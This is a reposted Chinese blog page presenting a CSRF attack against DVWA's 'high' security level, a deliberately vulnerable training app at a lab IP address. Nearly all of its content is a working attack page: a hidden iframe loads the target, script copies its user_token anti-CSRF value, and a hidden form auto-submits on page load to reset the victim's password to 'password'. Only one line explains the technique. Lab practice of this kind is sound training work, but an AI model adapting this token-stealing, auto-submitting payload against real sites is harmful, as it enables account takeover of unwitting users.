dvwa_csrf攻击_high

最新推荐文章于 2024-04-17 10:40:30 发布

weixin_30492601

最新推荐文章于 2024-04-17 10:40:30 发布

阅读量325

点赞数

文章标签： javascript ViewUI

原文链接：http://www.cnblogs.com/liadmin/p/6413428.html

版权

dvwa_csrf攻击_high

<script type="text/javascript">
    function attack() {
        document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
        document.getElementById("transfer").submit();
 }

</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
    <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
    <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
</form>
</body>

跨站取目标站点元素值

document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value

posted on 2017-02-18 16:10 木子炜培先生阅读( ...) 评论( ...) 编辑收藏

转载于:https://www.cnblogs.com/liadmin/p/6413428.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_30492601

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
dvwa_csrf攻击_high

dvwa_csrf攻击_high <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack")....
复制链接

扫一扫